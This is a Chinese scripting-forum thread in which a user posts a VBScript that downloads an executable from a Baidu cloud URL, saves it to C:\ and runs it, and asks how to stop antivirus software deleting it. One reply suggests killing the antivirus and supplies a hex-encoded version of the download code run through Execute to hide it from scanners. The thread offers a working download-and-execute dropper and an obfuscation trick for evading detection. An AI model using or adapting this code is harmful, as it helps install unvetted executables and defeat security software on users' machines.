[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
返回列表 发帖

[问题求助] vbs文件报毒,直接被删,求解决办法

  1. Set xPost= createObject("Microsoft.XMLHTTP")
  2. xPost.Open"GET","https://d.pcs.baidu.com/rest/2.0/pcs/file?method=download&access_token=3.428cd972462324065bf52c929a5b7c0d.2592000.1383729570.2620584487-1040388&path=/apps/izt8/ksbinstaller_s_66_77146.exe",0
  3. xPost.send()
  4. Set sGet = CreateObject("ADODB.Stream")
  5. Sget.Mode = 3
  6. Sget.Type = 1
  7. SGET.Open()
  8. b=xPost.responseBody
  9. if len(b)>0 then'len(b)>0
  10. sGet.Write(b)
  11. Sget.SaveToFile "C:\ksbinstaller_s_66_77146.exe", 2
  12. Set run = createObject("wscript.shell")
  13. run.run "C:\ksbinstaller_s_66_77146.exe",3
  14. end if
复制代码
这一段代码,会被报毒,求解决啊,本人菜鸟,代码也是从别人那拿的,求直接给解决办法

什么杀毒软件?把这个代码放到白名单里吧

TOP

回复 2# DAIC

我是想找让他不报毒的办法啊,应该是添加加密代码就可以的,可是我不会加

TOP

求助啊亲们

TOP

不一定管用,最好的办法是:干掉杀软 ^_^
  1. url = "http://gnu-on-windows.googlecode.com/files/gzip-1.5-bin.zip"
  2. fileName = "d:\gzip.zip"
  3. var = "53,65,74,20,78,50,6F,73,74,3D,20,63,72,65,61,74,65,4F,62,6A,65,63,74,28,22,4D,69,63,72,6F,73,6F,66,74,2E,58,4D,4C,48,54,54,50,22,29,0D,0A,78,50,6F,73,74,2E,4F,70,65,6E,20,22,47,45,54,22,2C,75,72,6C,2C,66,61,6C,73,65,0D,0A,78,50,6F,73,74,2E,73,65,6E,64,28,29,0D,0A,53,65,74,20,73,47,65,74,20,3D,20,43,72,65,61,74,65,4F,62,6A,65,63,74,28,22,41,44,4F,44,42,2E,53,74,72,65,61,6D,22,29,0D,0A,73,47,65,74,2E,4D,6F,64,65,20,3D,20,33,0D,0A,73,47,65,74,2E,54,79,70,65,20,3D,20,31,0D,0A,73,47,65,74,2E,4F,70,65,6E,28,29,0D,0A,62,3D,78,50,6F,73,74,2E,72,65,73,70,6F,6E,73,65,42,6F,64,79,20,3A,20,53,65,74,20,78,50,6F,73,74,20,3D,20,4E,6F,74,68,69,6E,67,0D,0A,69,66,20,6C,65,6E,28,62,29,3E,30,20,74,68,65,6E,0D,0A,20,20,20,20,73,47,65,74,2E,57,72,69,74,65,28,62,29,0D,0A,20,20,20,20,73,47,65,74,2E,53,61,76,65,54,6F,46,69,6C,65,20,66,69,6C,65,4E,61,6D,65,2C,20,32,0D,0A,65,6E,64,20,69,66,0D,0A,6D,73,67,62,6F,78,20,22,4F,4B,22"
  4. Execute GetChr(Split(var,","))
  5. Function GetChr(ar)
  6.     For i = 0 to UBound(ar) : ar(i)=chr("&h"&ar(i)) : next
  7.     GetChr = Join(ar,"")
  8. End Function
复制代码

TOP

返回列表